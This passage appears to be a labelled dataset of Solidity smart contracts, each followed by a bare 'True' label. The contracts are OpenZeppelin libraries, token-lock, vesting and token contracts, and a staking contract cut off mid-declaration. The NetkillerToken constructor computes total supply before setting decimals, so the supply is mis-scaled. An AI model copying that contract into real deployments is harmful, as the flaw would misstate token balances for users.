operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }

True

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pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x2B668F2Bafeba77Fc372ad88bF0004fAd96Ba0B1; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }

True

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// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "../BaseContracts/BaseVesting.sol"; contract LunrCrush is BaseVesting{ constructor( address signer_, address token_, uint256 startDate_, uint256 vestingDuration_, uint256 totalAllocatedAmount_ ) BaseVesting( signer_, token_, startDate_, vestingDuration_, totalAllocatedAmount_ ) {} } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract BaseVesting is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using Counters for Counters.Counter; struct Investor { uint256 paidAmount; uint256 timeRewardPaid; } uint256 internal constant PERIOD = 1 days; uint256 internal constant PERCENTAGE = 1e20; IERC20 public immutable token; uint256 public immutable startDate; uint256 public immutable totalAllocatedAmount; uint256 public immutable vestingDuration; uint256 public immutable tokensForLP; uint256 public immutable tokensForNative; uint256 public vestingTimeEnd; uint256 public everyDayReleasePercentage; event RewardPaid(address indexed investor, uint256 amount); mapping(address => Counters.Counter) public nonces; mapping(address => bool) public trustedSigner; mapping(address => Investor) public investorInfo; constructor( address signer_, address token_, uint256 startDate_, uint256 vestingDuration_, uint256 totalAllocatedAmount_ ) { require(signer_ != address(0), "Invalid signer address"); require(token_ != address(0), "Invalid reward token address"); require(vestingDuration_ > 0, "The vesting duration cannot be 0"); require( totalAllocatedAmount_ > 0, "The number of tokens for distribution cannot be 0" ); token = IERC20(token_); startDate = startDate_; vestingDuration = vestingDuration_; vestingTimeEnd = startDate_.add(vestingDuration_); uint256 periods = vestingDuration_.div(PERIOD); everyDayReleasePercentage = PERCENTAGE.div(periods); totalAllocatedAmount = totalAllocatedAmount_; uint256 nativeTokens = totalAllocatedAmount_.div(3); tokensForNative = nativeTokens; tokensForLP = totalAllocatedAmount_.sub(nativeTokens); trustedSigner[signer_] = true; } /** * @notice Adds new signer or removes permission from existing * @param signer signer address * @param permission set permission for signer address */ function changeSignerList(address signer, bool permission) external onlyOwner { _changePermission(signer, permission); } /** * @dev emergency tokens withdraw * @param tokenAddress_ token address * @param amount amount to withdraw */ function emergencyTokenWithdraw(address tokenAddress_, uint256 amount) external onlyOwner { require(block.timestamp > vestingTimeEnd, "Vesting is still running"); IERC20 tokenAddress = IERC20(tokenAddress_); tokenAddress.safeTransfer(msg.sender, amount); } /** * @dev Withdraw reward tokens from distribution contract by investor * @param portionLP investor portion for LP stake * @param portionNative investor portion for Native stake * @dev Last three parameters is signature from signer */ function withdrawReward( uint256 portionLP, uint256 portionNative, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public { require( portionLP <= PERCENTAGE && portionNative <= PERCENTAGE, "The percentage cannot be greater than 100" ); require(deadline >= block.timestamp, "Expired"); bool access = _isValidData( msg.sender, portionLP, portionNative, deadline, v, r, s ); require(access, "Permission not granted"); _withdrawReward(msg.sender, portionLP, portionNative); } /** * @dev Returns current available rewards for investor * @param percentageLP investor percenage for LP stake * @param percentageNative investor percentage for Native stake */ function getRewardBalance( address beneficiary, uint256 percentageLP, uint256 percentageNative ) public view returns (uint256 amount) { uint256 reward = _getRewardBalance(percentageLP, percentageNative); Investor storage investor = investorInfo[beneficiary]; uint256 balance = token.balanceOf(address(this)); if (reward <= investor.paidAmount) { return 0; } else { uint256 amountToPay = reward.sub(investor.paidAmount); if (amountToPay >= balance) { return balance; } return amountToPay; } } function _withdrawReward( address beneficiary, uint256 percentageLP, uint256 percentageNative ) private { uint256 reward = _getRewardBalance(percentageLP, percentageNative); Investor storage investor = investorInfo[beneficiary]; uint256 balance = token.balanceOf(address(this)); require(reward > investor.paidAmount, "No rewards available"); uint256 amountToPay = reward - investor.paidAmount; if (amountToPay >= balance) { amountToPay = balance; investor.paidAmount = amountToPay.add(investor.paidAmount); } else { investor.paidAmount = reward; } investor.timeRewardPaid = block.timestamp; token.safeTransfer(beneficiary, amountToPay); emit RewardPaid(beneficiary, amountToPay); } function _getRewardBalance(uint256 lpPercentage, uint256 nativePercentage) private view returns (uint256) { uint256 vestingAvailablePercentage = _calculateAvailablePercentage(); uint256 amountAvailableForLP = tokensForLP .mul(vestingAvailablePercentage) .div(PERCENTAGE); uint256 amountAvailableForNative = tokensForNative .mul(vestingAvailablePercentage) .div(PERCENTAGE); uint256 rewardToPayLP = amountAvailableForLP.mul(lpPercentage).div( PERCENTAGE ); uint256 rewardToPayNative = amountAvailableForNative .mul(nativePercentage) .div(PERCENTAGE); return rewardToPayLP.add(rewardToPayNative); } function _calculateAvailablePercentage() internal view virtual returns (uint256) { uint256 currentTimeStamp = block.timestamp; if (currentTimeStamp < vestingTimeEnd) { uint256 noOfDays = currentTimeStamp.sub(startDate).div(PERIOD); uint256 currentUnlockedPercentage = noOfDays.mul( everyDayReleasePercentage ); return currentUnlockedPercentage; } else { return PERCENTAGE; } } /** * @dev data and signature validation * @param addr investor address * @param portionLP investor portion for LP stake * @param portionNative investor portion for Native stake * @dev Last three parameters is signature from signer */ function _isValidData( address addr, uint256 portionLP, uint256 portionNative, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) internal returns (bool) { require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value" ); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); bytes32 message = keccak256( abi.encodePacked( address(this), addr, portionLP, portionNative, nonces[addr].current(), deadline ) ); address sender = ecrecover(message, v, r, s); if (trustedSigner[sender]) { nonces[addr].increment(); return true; } else { return false; } } function _changePermission(address signer, bool permission) internal { require(signer != address(0), "Invalid signer address"); trustedSigner[signer] = permission; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../math/SafeMath.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }

True

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pragma solidity ^0.4.21; contract NetkillerToken { address public owner; string public name; string public symbol; uint public decimals; uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; function NetkillerToken(uint256 initialSupply, string tokenName, string tokenSymbol, uint decimalUnits) public { owner = msg.sender; totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; } /* Send coins */ function transfer(address _to, uint256 _value) public { /* Check if the sender has balance and for overflows */ require(balanceOf[msg.sender] >= _value && balanceOf[_to] + _value >= balanceOf[_to]); /* Add and subtract new balances */ balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; /* Notify anyone listening that this transfer took place */ emit Transfer(msg.sender, _to, _value); } }

True

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//SPDX-License-Identifier: Unlicense pragma solidity =0.7.6; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol'; import './interface/IUniswapV2Pair.sol'; import './interface/IUniswapV2Factory.sol'; import './interface/IUniswapV2Router.sol'; contract Staking is OwnableUpgradeable { using SafeMath for uint256; using SafeERC20 for IERC20; struct PoolInfo { IERC20 stakeToken; bool isNativePool; // Expired uint256 rewardPerBlock; uint256 lastRewardBlock; uint256 accTokenPerShare; uint256 depositedAmount; uint256 rewardsAmount; uint256 lockupDuration; uint256 depositLimit; } struct UserInfo { uint256 amount; uint256 rewardDebt; uint256 pendingRewards; uint256 lastClaim; } IUniswapV2Router02 public uniswapV2Router; IERC20 public rewardToken; // Expired address public devAddress; // Expired uint256 public nativeEarlyWithdrawlDevFee; // Expired uint256 public nativeEarlyWithdrawlLpFee; // Expired uint256 public nativeRegularWithdrawlDevFee; // Expired uint256 public nativeRegularWithdrawlLpFee; // Expired uint256 public 